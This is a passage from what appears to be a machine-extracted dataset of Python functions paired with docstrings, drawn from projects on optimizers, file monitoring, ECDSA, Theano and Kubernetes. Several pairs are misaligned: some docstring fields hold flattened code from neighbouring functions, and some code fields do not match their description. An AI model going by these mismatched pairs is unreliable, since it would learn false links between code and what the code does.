(optim.method == 'adam') and (len(optim.optimizer.state) < 1):\n raise RuntimeError(\n \"Error: loaded Adam optimizer from existing model\" +\n \" but optimizer state is empty\")\n\n else:\n optim = Optimizer(\n args.optim, args.lr_bert, args.max_grad_norm,\n beta1=args.beta1, beta2=args.beta2,\n decay_method='noam',\n warmup_steps=args.warmup_steps_bert)\n\n params = [(n, p) for n, p in list(model.named_parameters()) if n.startswith('bert.model')]\n optim.set_parameters(params)\n\n\n return optim\n", "nl": " Build optimizer if checkpoint is not None:optim = checkpoint['optim'][0]saved_optimizer_state_dict = optim.optimizer.state_dict()optim.optimizer.load_state_dict(saved_optimizer_state_dict)if args.visible_gpus != '-1':for state in optim.optimizer.state.values():for k, v in state.items():if torch.is_tensor(v):state[k] = v.cuda()if (optim.method == 'adam') and (len(optim.optimizer.state) < 1):raise RuntimeError(\"Error: loaded Adam optimizer from existing model\" +\" but optimizer state is empty\")else:optim = Optimizer(args.optim, args.lr, args.max_grad_norm,beta1=args.beta1, beta2=args.beta2,decay_method='noam',warmup_steps=args.warmup_steps)optim.set_parameters(list(model.named_parameters()))return optimdef build_optim_bert(args, model, checkpoint): Build optimizer "} {"code": "def measurement_columns(column_tuples):\n for physical_quantity, ac_type in column_tuples:\n check_physical_quantity(physical_quantity)\n if physical_quantity in ['energy', 'cumulative energy', 'power']:\n check_ac_type(ac_type)\n return pd.MultiIndex.from_tuples(column_tuples, names=LEVEL_NAMES)", "nl": "Parameters----------column_tuples : list of 2-tuplesReturns-------pd.MultiIndex"} {"code": "def process_create_subnet(self, plugin_context, data, result):\n self._call_on_ext_drivers(\"process_update_subnet\", plugin_context,\n data, result)\n", "nl": "Notify all extension drivers during subnet creation.self._call_on_ext_drivers(\"process_create_subnet\", plugin_context,data, result)def process_update_subnet(self, plugin_context, data, result):Notify all extension drivers during subnet update."} {"code": "def _upload_dir_icommands_cli(local_dir, irods_dir, config=None, metadata=None):\n\n args = [\"-K\",\"-v\",\"-a\",\"-r\"]\n if config:\n if config.get(\"resource\"):\n args += [\"-R\", config.get(\"resource\")]\n\n _check_create_collection(irods_dir,isdir=True)\n cmd = [\"irsync\"] + args + [local_dir, \"i:\"+irods_dir]\n do.run(cmd, \"Uploading to iRODS\")\n\n", "nl": "Upload directory recursively via the standard icommands CLI.example: irsync -Kvar -R $resource $local_dir i:$irods_dirgo to https://docs.irods.org/4.2.0/icommands/user/#irsync for more info"} {"code": "def _reencode_record(self, record: Record) -> Record:\n if \"Data\" in record:\n record[\"Data\"] = base64.b64encode(record[\"Data\"])\n return record\n", "nl": "The ASF decodes the record's data automatically. But most of the service integrations (kinesis, lambda, http)are working with the base64 encoded data."} {"code": "def getBodyColor( self ):\n return self.kartDNA[ KartDNA.bodyColor ]\n", "nl": "Purpose: The getBodyColor Method obtains the currentbody color of the kart.Params: NoneReturn: bodyColor - the color of the kart body."} {"code": "def _notify(self, filepath, events):\n filepath = filepath.asBytesMode()\n for callback in self.callbacks:\n callback(self, filepath, events)\n\n\n\nclass INotify(FileDescriptor, object):\n \"\"\"\n _inotify = _inotify\n", "nl": "Callback function used by L{INotify} to dispatch an event."} {"code": "def scan(self, search_path=None):\n if search_path is None:\n search_path = sys.path\n\n for item in search_path:\n for dist in find_distributions(item):\n self.add(dist)\n", "nl": "Scan `search_path` for distributions usable in this environmentAny distributions found are added to the environment.`search_path` should be a sequence of ``sys.path`` items. If notsupplied, ``sys.path`` is used. Only distributions conforming tothe platform/python version defined at initialization are added."} {"code": "def __init__(self, layer_options, *args, **kwargs):\n\n super().__init__(layer_options, *args, **kwargs)\n\n if 'filter_size' in layer_options:\n filter_size = int(layer_options['filter_size'])\n else:\n filter_size = 5\n logging.debug(\" filter_size=%d\", filter_size)\n\n assert len(self._input_layers) == 1\n input_size = self._input_layers[0].output_size\n output_size = self.output_size\n\n filter_shape = (filter_size, input_size, output_size)\n self._init_weight('input/W', filter_shape, scale=0.01, count=2)\n\n self._init_bias('input/b', output_size * 2)\n\n self._filter_size = filter_size\n self._input_size = input_size\n\n self.output = None\n", "nl": "Initializes the parameters used by this layer."} {"code": "def _get_uncompressed_size(self, handle=None):\n with Handle(handle or self) as handle:\n return wrapped(win32file.GetFileSize, handle)\n uncompressed_size = property(_get_uncompressed_size)\n", "nl": "Get the size of the file data, ignoring any filesystemcompression which may have been applied."} {"code": "def get_allowed_plugins(self, placeholder_slot):\n slot_config = appsettings.FLUENT_CONTENTS_PLACEHOLDER_CONFIG.get(placeholder_slot) or {}\n plugins = slot_config.get(\"plugins\")\n if not plugins:\n return self.get_plugins()\n else:\n try:\n return self.get_plugins_by_name(*plugins)\n except PluginNotFound as e:\n raise PluginNotFound(\n str(e)\n + \" Update the plugin list of the FLUENT_CONTENTS_PLACEHOLDER_CONFIG['{}'] setting.\".format(\n placeholder_slot\n )\n )\n", "nl": "Return the plugins which are supported in the given placeholder name."} {"code": "def _get_kv(dotted_string, params_dict):\n with tf.io.gfile.GFile(file_path, 'r') as f:\n params_dict = yaml.load(f, Loader=LOADER)\n return ParamsDict(params_dict)\n\n", "nl": "Get keys and values indicated by dotted_string.if _CONST_VALUE_RE.match(dotted_string) is not None:const_str = dotted_stringif const_str == 'None':constant = Noneelse:constant = float(const_str)return None, constantelse:tokenized_params = dotted_string.split('.')v = params_dictfor t in tokenized_params:v = v[t]return tokenized_params[-1], vdef _get_kvs(tokens, params_dict):if len(tokens) != 2:raise ValueError('Only support binary relation in restriction.')stripped_tokens = [t.strip() for t in tokens]left_k, left_v = _get_kv(stripped_tokens[0], params_dict)right_k, right_v = _get_kv(stripped_tokens[1], params_dict)return left_k, left_v, right_k, right_vparams_dict = self.as_dict()for restriction in self._restrictions:if '==' in restriction:tokens = restriction.split('==')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v != right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))elif '!=' in restriction:tokens = restriction.split('!=')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v == right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))elif '<' in restriction:tokens = restriction.split('<')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v >= right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))elif '<=' in restriction:tokens = restriction.split('<=')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v > right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))elif '>' in restriction:tokens = restriction.split('>')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v <= right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))elif '>=' in restriction:tokens = restriction.split('>=')_, left_v, _, right_v = _get_kvs(tokens, params_dict)if left_v < right_v:raise KeyError('Found inconsistncy between key `{}` and key `{}`.'.format(tokens[0], tokens[1]))else:raise ValueError('Unsupported relation in restriction.')def read_yaml_to_params_dict(file_path: str):Reads a YAML file to a ParamsDict."} {"code": "def test_convert_datetime2(self):\n dt = UTCDateTime(ns=1487021451935737333)\n self.assertEqual(str(dt), \"2017-02-13T21:30:51.935737Z\")\n self.assertEqual(util._convert_datetime_to_mstime(dt),\n 1487021451935737)\n self.assertEqual(dt, util._convert_mstime_to_datetime(\n util._convert_datetime_to_mstime(dt)))\n dt = UTCDateTime(ns=1487021451935736449)\n self.assertEqual(str(dt), \"2017-02-13T21:30:51.935736Z\")\n self.assertEqual(util._convert_datetime_to_mstime(dt),\n 1487021451935736)\n self.assertEqual(dt, util._convert_mstime_to_datetime(\n util._convert_datetime_to_mstime(dt)))\n dt = UTCDateTime(ns=1487021451935736501)\n self.assertEqual(str(dt), \"2017-02-13T21:30:51.935737Z\")\n self.assertEqual(util._convert_datetime_to_mstime(dt),\n 1487021451935737)\n self.assertEqual(dt, util._convert_mstime_to_datetime(\n util._convert_datetime_to_mstime(dt)))\n", "nl": "Some failing test discovered in #1670"} {"code": "def http_error(self, url, fp, errcode, errmsg, headers, data=None):\n name = 'http_error_%d' % errcode\n if hasattr(self, name):\n method = getattr(self, name)\n if data is None:\n result = method(url, fp, errcode, errmsg, headers)\n else:\n result = method(url, fp, errcode, errmsg, headers, data)\n if result:\n return result", "nl": "Handle http errors.Derived class can override this, or provide specific handlersnamed http_error_DDD where DDD is the 3-digit error code."} {"code": "def contextmanager(func):\n @wraps(func)", "nl": "@contextmanager decorator.Typical usage:@contextmanagerdef some_generator():try:yield finally:This makes this:with some_generator() as :equivalent to this:try: = finally:"} {"code": "def old_image(self) -> Optional[Dict[str, AttributeValue]]:\n return self.get(\"SequenceNumber\")\n\n @property", "nl": "The item in the DynamoDB table as it appeared before it was modified.return _attribute_value_dict(self._data, \"OldImage\")@propertydef sequence_number(self) -> Optional[str]:The sequence number of the stream record."} {"code": "def test_multiple_imports(self):\n self.check(b, a)\n", "nl": "b = import urlparse, cStringIOa = import urllib.parse, io"} {"code": "def __init__(self, do_lower_case=True):\n self.do_lower_case = do_lower_case\n", "nl": "Constructs a BasicTokenizer.Args:do_lower_case: Whether to lower case the input."} {"code": "def stop_stream(self):\n\n if not self._is_running:\n return\n\n pa.stop_stream(self._stream)\n self._is_running = False\n", "nl": "Stop the stream. Once the stream is stopped, one may not callwrite or read. Call :py:func:`start_stream` to resume thestream."} {"code": "def __delattr__(cls, name):\n\n Names will be generated to include the classes package name,", "nl": "Overridden so that cannot delete varaibles on definition classes.raise TypeError('May not delete attributes on definition class')def definition_name(cls):Helper method for creating definition name."} {"code": "def _get_box(latlon0, azimuth, length, width=_LARGE_BOX_WIDTH, offset=0):\n Create 2D boxes for usage in `profile()` function.\n\n :param tuple latlon0: coordinates of starting point of profile\n :param azimuth: azimuth of profile direction\n :param tuple bins: Edges of the distance bins in km (e.g. (0, 10, 20, 30))", "nl": "Create a single box.from shapely.geometry import Polygonstart = direct_geodetic(latlon0, azimuth, offset)azis = ((azimuth - 90) % 360, azimuth,(azimuth + 90) % 360, (azimuth + 180) % 360)dists = (width/2, length, width, length)latlon = startcorners = []for a, d in zip(azis, dists):latlon = direct_geodetic(latlon, a, d)corners.append(latlon[::-1])box = {'poly': Polygon(corners),'length': length,'pos': offset + length/2,'latlon': direct_geodetic(start, azimuth, length/2)}return boxdef get_profile_boxes(latlon0, azimuth, bins, width=_LARGE_BOX_WIDTH):"} {"code": "def overhead(self):\n t_function = self._elapsed_function_time\n if t_function == 0:\n return 0\n t_total = self.elapsed_time()\n return (1 - t_function / t_total) * 100\n", "nl": "Overhead of using Adaptive and the executor in percent.This is measured as ``100 * (1 - t_function / t_elapsed)``.Notes-----This includes the overhead of the executor that is being used.The slower your function is, the lower the overhead will be. Thelearners take ~5-50 ms to suggest a point and sending that point tothe executor also takes about ~5 ms, so you will benefit from usingAdaptive whenever executing the function takes longer than 100 ms.This of course depends on the type of executor and the type of learnerbut is a rough rule of thumb."} {"code": "def force_enabled(self) -> bool | None:\n return self._attr_platform\n\n @property", "nl": "Return, if the entity/event must be enabled.return None@propertydef platform(self) -> HmPlatform:Return, the platform of the entity."} {"code": "def get_count_matrix(args, db, db_opts):\n global DOC2IDX\n db_class = retriever.get_class(db)\n with db_class(**db_opts) as doc_db:\n doc_ids = doc_db.get_doc_ids()\n DOC2IDX = {doc_id: i for i, doc_id in enumerate(doc_ids)}\n\n\n workers = ProcessPool(\n args.num_workers,\n initializer=init,\n initargs=(db_class, db_opts)\n )\n\n logger.info('Mapping...')\n row, col, data = [], [], []\n step = max(int(len(doc_ids) / 10), 1)\n batches = [doc_ids[i:i + step] for i in range(0, len(doc_ids), step)]\n _count = partial(count, args.ngram, args.hash_size)\n for i, batch in enumerate(batches):\n logger.info('-' * 25 + 'Batch %d/%d' % (i + 1, len(batches)) + '-' * 25)\n for b_row, b_col, b_data in workers.imap_unordered(_count, batch):\n row.extend(b_row)\n col.extend(b_col)\n data.extend(b_data)\n workers.close()\n workers.join()\n\n logger.info('Creating sparse matrix...')\n count_matrix = sp.csr_matrix(\n (data, (row, col)), shape=(args.hash_size, len(doc_ids))\n )\n count_matrix.sum_duplicates()\n return count_matrix, (DOC2IDX, doc_ids)\n\n\n\n", "nl": "Form a sparse word to document count matrix (inverted index).M[i, j] = # times word i appears in document j."} {"code": "def optimize_geometry(self, mat=None, encut=None, length=None):\n incar_dict = self.use_incar_dict.copy()\n data = {\n \"ENCUT\": encut,\n \"EDIFFG\": -1e-3,\n \"ISIF\": 3,\n \"NEDOS\": 5000,\n \"NSW\": 500,\n \"NELM\": 500,\n \"LORBIT\": 11,\n \"LVTOT\": \".TRUE.\",\n \"LVHAR\": \".TRUE.\",\n \"ISPIN\": 2,\n \"LCHARG\": \".TRUE.\",\n }\n\n incar_dict.update(data)\n incar = Incar.from_dict(incar_dict)\n kpoints = Kpoints().automatic_length_mesh(\n lattice_mat=mat.atoms.lattice_mat, length=length\n )\n en, contcar = VaspJob(\n poscar=mat,\n incar=incar,\n vasp_cmd=self.vasp_cmd,\n output_file=self.output_file,\n stderr_file=self.stderr_file,\n copy_files=self.copy_files,\n attempts=self.attempts,\n pot_type=self.pot_type,\n kpoints=kpoints,\n jobname=str(\"MAIN-RELAX-\") + str(mat.comment),\n ).runjob()\n return en, contcar\n", "nl": "Use in optimizing lattice-parameter and internal psotions.Args:mat : Poscar objectencut : Plane-wave cut-offlength : K-points in length unit"} {"code": "def gaussian_probability(sigma, mu, target):\n target = target.unsqueeze(1).expand_as(sigma)\n ret = ONEOVERSQRT2PI * torch.exp(-0.5 * ((target - mu) / sigma)**2) / sigma\n return torch.prod(ret, 2)\n\n", "nl": "Returns the probability of `target` given MoG parameters `sigma` and `mu`.Arguments:sigma (BxGxO): The standard deviation of the Gaussians. B is the batchsize, G is the number of Gaussians, and O is the number ofdimensions per Gaussian.mu (BxGxO): The means of the Gaussians. B is the batch size, G is thenumber of Gaussians, and O is the number of dimensions per Gaussian.target (BxI): A batch of target. B is the batch size and I is the number ofinput dimensions.Returns:probabilities (BxG): The probability of each point in the probabilityof the distribution in the corresponding sigma/mu index."} {"code": "def is_superuser(self):\n return self.sesh.curr_role == 'admin'\n", "nl": "Return whether current user is superuser, i.e. has the role'admin' (level 100).:returns: whether current user is superuser:rtype: bool"} {"code": "def _expected_plugin_rpc_call(self, call, expected_devices, is_up=True):\n if is_up:\n rpc_devices = [\n dev for args in call.call_args_list for dev in args[0][1]]\n else:\n rpc_devices = [\n dev for args in call.call_args_list for dev in args[0][2]]\n for dev in rpc_devices:\n if dev in expected_devices:\n expected_devices.remove(dev)\n call.reset_mock()\n return not expected_devices\n", "nl": "Helper to check expected rpc call are received:param call: The call to check:param expected_devices: The device for which call is expected:param is_up: True if expected_devices are devices that are set up,False if expected_devices are devices that are set down"} {"code": "def _get_fuzz_targets_from_archive(self, archive_path):\n from clusterfuzz._internal.bot.fuzzers import utils as fuzzer_utils\n\n for path in fuzzer_utils.get_fuzz_targets(build_dir):\n yield os.path.splitext(os.path.basename(path))[0]\n", "nl": "Get iterator of fuzz targets from archive path.# Import here as this path is not available in App Engine context.from clusterfuzz._internal.bot.fuzzers import utils as fuzzer_utilsfor archive_file in archive.iterator(archive_path):if fuzzer_utils.is_fuzz_target_local(archive_file.name,archive_file.handle):fuzz_target = os.path.splitext(os.path.basename(archive_file.name))[0]yield fuzz_targetdef _get_fuzz_targets_from_dir(self, build_dir):Get iterator of fuzz targets from build dir."} {"code": "def predict(self, X):\n return _predict_linear(self, X)", "nl": "Predict using the linear model.Parameters----------X : array-like or sparse matrix, shape (n_samples, n_features)Samples.Returns-------C : array, shape (n_samples,)Returns predicted values."} {"code": "def get_mrsm_version(self, **kw) -> Optional[str]:\n from meerschaum.config.static import _static_config\n try:\n j = self.get(\n _static_config()['api']['endpoints']['version'] + '/mrsm',\n use_token = True,\n **kw\n ).json()\n except Exception as e:\n return None\n if isinstance(j, dict) and 'detail' in j:\n return None\n return j\n", "nl": "Parameters----------**kw :Returns-------type"} {"code": "def encode(error_code_protobuf_object: Any, error_code_object: \"ErrorCode\") -> None:\n error_code_protobuf_object.error_code = error_code_object.value\n\n @classmethod", "nl": "Encode an instance of this class into the protocol buffer object.The protocol buffer object in the error_code_protobuf_object argument is matched with the instance of this class in the 'error_code_object' argument.:param error_code_protobuf_object: the protocol buffer object whose type corresponds with this class.:param error_code_object: an instance of this class to be encoded in the protocol buffer object."} {"code": "def reset(self):\n if isinstance(config, text_or_bytes):\n config = Parser().dict_from_file(config)\n elif hasattr(config, 'read'):\n config = Parser().dict_from_file(config)\n else:\n config = config.copy()\n self._apply(config)\n", "nl": "Reset self to default values.self.clear()dict.update(self, self.defaults)def update(self, config):Update self from a dict, file or filename."} {"code": "def file_open_write(self, name, size):\n tgram = Telegram(Opcode.SYSTEM_OPENWRITE)\n tgram.add_filename(name)\n tgram.add_u32(size)\n tgram = self._cmd(tgram)\n handle = tgram.parse_u8()\n return handle\n", "nl": "Open file for writing.:param str name: File name.:param int size: Final file size.:return: The file handle.:rtype: int:raises nxt.error.FileExistsError: When file already exists.:raises nxt.error.SystemProtocolError: When no space is available... warning:: This is a low level function, prefer to use :meth:`open_file`."} {"code": "def test(self):\n cls._cls_protected += 1\n print(cls._cls_protected)\n clsmeth = classmethod(clsmeth)\n", "nl": "Docstring.self._protected += self._cls_protectedprint(self.public._haha) # [protected-access]def clsmeth(cls):Docstring."} {"code": "def recover_public_keys(self, hash, generator):\n curve = generator.curve()\n n = generator.order()\n r = self.r\n s = self.s\n e = hash\n x = r\n\n alpha = (\n pow(x, 3, curve.p()) + (curve.a() * x) + curve.b()\n ) % curve.p()\n beta = numbertheory.square_root_mod_prime(alpha, curve.p())\n y = beta if beta % 2 == 0 else curve.p() - beta\n\n R1 = ellipticcurve.PointJacobi(curve, x, y, 1, n)\n Q1 = numbertheory.inverse_mod(r, n) * (s * R1 + (-e % n) * generator)\n Pk1 = Public_key(generator, Q1)\n\n R2 = ellipticcurve.PointJacobi(curve, x, -y, 1, n)\n Q2 = numbertheory.inverse_mod(r, n) * (s * R2 + (-e % n) * generator)\n Pk2 = Public_key(generator, Q2)\n\n return [Pk1, Pk2]\n\n\nclass Public_key(object):\n \"\"\"Public key for ECDSA.\"\"\"", "nl": "Returns two public keys for which the signature is valid:param int hash: signed hash:param AbstractPoint generator: is the generator used in creationof the signature:rtype: tuple(Public_key, Public_key):return: a pair of public keys that can validate the signature"} {"code": "def iter(self, before=None, after=None, **kwargs):\n kwargs[\"DateCreated<\"] = before\n kwargs[\"DateCreated>\"] = after\n return super(Recordings, self).iter(**kwargs)\n", "nl": "Returns an iterator of :class:`Recording` resources.:param date after: Only list recordings logged after this datetime:param date before: Only list recordings logger before this datetime"} {"code": "def __init__(self, embed_dim, hidden_dim=None, out_dim=None, n_head=1, score_function='dot_product', dropout=0):\n super(Attention, self).__init__()\n if hidden_dim is None:\n hidden_dim = embed_dim // n_head\n if out_dim is None:\n out_dim = embed_dim\n self.embed_dim = embed_dim\n self.hidden_dim = hidden_dim\n self.n_head = n_head\n self.score_function = score_function\n self.w_k = nn.Linear(embed_dim, n_head * hidden_dim)\n self.w_q = nn.Linear(embed_dim, n_head * hidden_dim)\n self.proj = nn.Linear(n_head * hidden_dim, out_dim)\n self.dropout = nn.Dropout(dropout)\n if score_function == 'mlp':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim*2))\n elif self.score_function == 'bi_linear':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim, hidden_dim))\n else:\n self.register_parameter('weight', None)\n self.reset_parameters()\n", "nl": " Attention Mechanism:param embed_dim::param hidden_dim::param out_dim::param n_head: num of head (Multi-Head Attention):param score_function: scaled_dot_product / mlp (concat) / bi_linear (general dot):return (?, q_len, out_dim,)"} {"code": "def test_process_verbose_no_entity(kwik_e_mart_nlp):\n response = kwik_e_mart_nlp.process(\"is the elm street store open\", verbose=True)\n\n assert response[\"domain\"] == \"store_info\"\n assert response[\"intent\"] == \"get_store_hours\"\n assert response[\"entities\"][0][\"text\"] == \"elm street\"\n assert isinstance(\n response[\"confidences\"][\"entities\"][0][response[\"entities\"][0][\"type\"]], float\n )\n assert isinstance(response[\"confidences\"][\"domains\"][\"store_info\"], float)\n assert isinstance(response[\"confidences\"][\"intents\"][\"get_store_hours\"], float)\n\n", "nl": "Test basic processing without metadataresponse = kwik_e_mart_nlp.process(\"Hello\", verbose=True)assert response[\"domain\"] == \"store_info\"assert response[\"intent\"] == \"greet\"assert response[\"entities\"] == []assert isinstance(response[\"confidences\"][\"domains\"][\"store_info\"], float)assert isinstance(response[\"confidences\"][\"intents\"][\"greet\"], float)def test_process_verbose(kwik_e_mart_nlp):Test basic processing with metadata"} {"code": "def managedsave_dumpxml(name, options=\"\", to_file=\"\", **dargs):\n cmd = \"managedsave-dumpxml --domain %s %s\" % (name, options)\n result = command(cmd, **dargs)\n if to_file:\n with open(to_file, 'w') as result_file:\n result_file.write(result.stdout_text.strip())\n return result\n\n", "nl": "Dump XML of domain information for a managed save state file.:param name: Name of domain to dump:param options: options to pass to list command:param to_file: optional file to write XML output to:return: CmdResult object"} {"code": "def redo(self):\n item = self._undo_stack.forward()\n if item is None:\n return\n\n spike_ids, cluster_ids, undo_state = item\n assert spike_ids is not None\n\n up = self._do_assign(spike_ids, cluster_ids)\n up.history = 'redo'\n\n emit('cluster', self, up)\n return up", "nl": "Redo the last cluster assignment operation.Returns-------up : UpdateInfo instance of the changes done by this operation."} {"code": "def local_sum_prod_mul_by_scalar(node):\n if isinstance(node.op, (T.Sum, T.elemwise.Prod)):\n node_inps, = node.inputs\n if node_inps.owner and node_inps.owner.op == T.mul:\n terms = node_inps.owner.inputs\n scalars = [t.dimshuffle() for t in terms if\n np.all(t.type.broadcastable)]\n\n if len(scalars) == 0:\n return\n\n non_scalars = [t for t in terms if not np.all(t.broadcastable)]\n\n if len(non_scalars) == 0:\n new_op_input_nb_elements = 1\n new_op_output = 1\n elif len(non_scalars) == 1:\n new_op_input_nb_elements = non_scalars[0].size\n new_op_output = node.op(non_scalars[0])\n else:\n new_op_input = T.mul(*non_scalars)\n copy_stack_trace(node.outputs, new_op_input)\n\n new_op_input_nb_elements = new_op_input.size\n new_op_output = node.op(new_op_input)\n\n if not len(non_scalars) == 0:\n copy_stack_trace(node.outputs, new_op_output)\n\n if (isinstance(node.op, T.elemwise.Prod) and\n new_op_input_nb_elements != 1):\n\n scalars = [s ** new_op_input_nb_elements for s in scalars]\n\n mul_inputs = scalars\n if new_op_input_nb_elements != 1:\n mul_inputs.append(new_op_output)\n\n if len(mul_inputs) == 1:\n copy_stack_trace(node.outputs, mul_inputs)\n\n return mul_inputs\n else:\n ret = T.mul(*mul_inputs)\n copy_stack_trace(node.outputs, [ret] + mul_inputs)\n\n return [ret]\n\n if isinstance(node.op, T.Sum) and node_inps.owner and node_inps.owner.op == T.neg:\n s = node.op(node_inps.owner.inputs[0])\n ret = T.neg(s)\n copy_stack_trace(node.outputs, [s, ret])\n\n return [ret]\n\n\n@register_specialize\n@gof.local_optimizer([T.Elemwise])", "nl": "sum(scalar * smth) -> scalar * sum(smth)sum(-smth) -> -sum(smth)orprod(scalar * smth) -> scalar ** size(smth) * prod(smth)prod(-smth) -> -1 ** size(smth) * prod(smth)"} {"code": "def resnet152_ibn_a(last_stride, pretrained=False, **kwargs):\n model = ResNet_IBN(last_stride, Bottleneck_IBN, [3, 8, 36, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet152']))\n return model", "nl": "Constructs a ResNet-152 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def drawNode(self, node):\n\n self.push(node)\n\n self.drawNodeDispatcher(node)\n\n self.pop()\n", "nl": "This is the recursive method called for each nodein the tree"} {"code": "def syntaxError(self, *args, **kwargs):\n self._syntax = True\n return super().syntaxError(*args, **kwargs)\n", "nl": "pyflakes calls this when ast.parse raises a SyntaxError"} {"code": "def replay_board_state(board_state, result):\n assert board_state.n == len(board_state.recent), \"Position history is incomplete\"\n pos = BoardState(komi=board_state.komi)\n for player_move in board_state.recent:\n color, next_move = player_move\n yield PositionWithContext(pos, next_move, result)\n pos = pos.play_move(next_move, color=color)\n\n", "nl": "Wrapper for a go.Position which replays its history.Assumes an GOPARAMETERS.EMPTY start board_state! (i.e. no handicap, and history must be exhaustive.)Result must be passed in, since a resign cannot be inferred from board_statehistory alone.for board_state_w_context in replay_board_state(board_state):print(board_state_w_context.board_state)"} {"code": "def _project(self, matrix):\n U, s, V = np.linalg.svd(matrix)\n s[:] = 1\n return U.dot(np.diag(s)).dot(V)\n", "nl": "All singular values except k-largest (by magnitude) set to zero."} {"code": "def _search_value(regex: Pattern, value: str) -> Optional[Match]:\n return regex.search(str(value))\n", "nl": "check a str against a regexlru_cache enabled because this is hit during resize:param regex: the compiled regex:type regex: Pattern:param value: the string to check:type value: str:returns: the match if made"} {"code": "def get_average_accuracy(genomes):\n total_accuracy = 0\n\n for genome in genomes:\n total_accuracy += genome.accuracy\n\n return total_accuracy / len(genomes)\n", "nl": "Get the average accuracy for a group of networks/genomes.Args:networks (list): List of networks/genomesReturns:float: The average accuracy of a population of networks/genomes."} {"code": "def _log(self, level, msg, args, exc_info=None, extra=None):\n if _srcfile:\n try:\n fn, lno, func = self.findCaller()\n except ValueError:\n fn, lno, func = \"(unknown file)\", 0, \"(unknown function)\"\n else:\n fn, lno, func = \"(unknown file)\", 0, \"(unknown function)\"\n if exc_info:\n if not isinstance(exc_info, tuple):\n exc_info = sys.exc_info()\n record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info, func, extra)\n self.handle(record)\n", "nl": "Low-level logging routine which creates a LogRecord and then callsall the handlers of this logger to handle the record."} {"code": "def java_ver(release='',vendor='',vminfo=('','',''),osinfo=('','','')):\n try:\n import java.lang\n except ImportError:\n return release,vendor,vminfo,osinfo\n\n vendor = _java_getprop('java.vendor',vendor)\n release = _java_getprop('java.version',release)\n vm_name,vm_release,vm_vendor = vminfo\n vm_name = _java_getprop('java.vm.name',vm_name)\n vm_vendor = _java_getprop('java.vm.vendor',vm_vendor)\n vm_release = _java_getprop('java.vm.version',vm_release)\n vminfo = vm_name,vm_release,vm_vendor\n os_name,os_version,os_arch = osinfo\n os_arch = _java_getprop('os.arch',os_arch)\n os_name = _java_getprop('os.name',os_name)\n os_version = _java_getprop('os.version',os_version)\n osinfo = os_name,os_version,os_arch\n\n return release,vendor,vminfo,osinfo\n\n", "nl": " Version interface for Jython.Returns a tuple (release,vendor,vminfo,osinfo) with vminfo beinga tuple (vm_name,vm_release,vm_vendor) and osinfo being atuple (os_name,os_version,os_arch).Values which cannot be determined are set to the defaultsgiven as parameters (which all default to '')."} {"code": "def auth_login(self, challenge=None):\n if challenge is None:\n return self.user\n else:\n return self.password\n", "nl": " Authobject to use with LOGIN authentication. Requires self.user andself.password to be set."} {"code": "def process_event(self, input_event: _InputEventType) -> None:\n raise NotImplementedError\n", "nl": "Process a input event, such as a Pygame event.Parameters:input_event: Input event to process."} {"code": "def resized_crop_tensor(img_tensor, top, left, height, width, size, interpolation='bilinear'):\n assert isinstance(img_tensor, torch.Tensor)\n img_tensor = crop_tensor(img_tensor, top, left, height, width)\n img_tensor = resize_tensor(img_tensor, size, interpolation)\n return img_tensor\n\n\n\nclass ComposeImage(object):\n \"\"\"Composes several transforms together.\n", "nl": "tensor version of F.resized_crop"} {"code": "def putitem(self, output_data, save_dir, data_infor_str):\n self.m_dataset.f_putitem(output_data, save_dir, data_infor_str)\n", "nl": " Decompose the output_data from network intoseparate files"} {"code": "def add_family(self, major_number):\n keys = [\"unreleased_bugfix\", \"unreleased_feature\"]\n if major_number == 0 and self.config.releases_unstable_prehistory:\n keys = [\"unreleased\"]", "nl": "Expand to a new release line with given ``major_number``.This will flesh out mandatory buckets like ``unreleased_bugfix`` and doother necessary bookkeeping."} {"code": "def __init__(self, iterable=None, /, **kwds):\n super(Counter, self).__init__()\n self.update(iterable, **kwds)\n", "nl": "Create a new, empty Counter object. And if given, count elementsfrom an input iterable. Or, initialize the count from another mappingof elements to their counts.>>> c = Counter() # a new, empty counter>>> c = Counter('gallahad') # a new counter from an iterable>>> c = Counter({'a': 4, 'b': 2}) # a new counter from a mapping>>> c = Counter(a=4, b=2) # a new counter from keyword args"} {"code": "def encrypt(pubkey, password):\n key = load_key(pubkey)\n encrypted_password = key.encrypt(password, PKCS1v15())\n return base64.b64encode(encrypted_password)\n\n", "nl": "Encrypt password using given RSA public key and encode it with base64.The encrypted password can only be decrypted by someone with theprivate key (in this case, only Travis)."} {"code": "def get_node_hosttags(self):\n tags = []\n\n try:\n _, node_name = self.get_node_info()\n if not node_name:\n raise ValueError(\"node name missing or empty\")\n\n request_url = \"%s/nodes/%s\" % (self.kubernetes_api_url, node_name)\n node_info = self.retrieve_json_auth(request_url).json()\n node_labels = node_info.get('metadata', {}).get('labels', {})\n\n for l_name, t_name in self.kube_node_labels.iteritems():\n if l_name in node_labels:\n tags.append('%s:%s' % (t_name, node_labels[l_name]))\n\n except Exception as ex:\n log.debug(\"Error getting node labels: %s\" % str(ex))\n\n return tags\n", "nl": "Returns node labels as tags. Tag name is transformed as definedin node_labels_to_host_tags in the kubernetes check configuration.Note: queries the API server for node info. Configure RBAC accordingly."} {"code": "def _nth_of_year(self, nth, day_of_week):\n if nth == 1:\n return self.first_of(\"year\", day_of_week)\n\n dt = self.first_of(\"year\")\n year = dt.year\n for _ in range(nth - (1 if dt.day_of_week == day_of_week else 0)):\n dt = dt.next(day_of_week)\n\n if year != dt.year:\n return False\n\n return self.set(self.year, dt.month, dt.day)\n", "nl": "Modify to the given occurrence of a given day of the weekin the current year. If the calculated occurrence is outside,the scope of 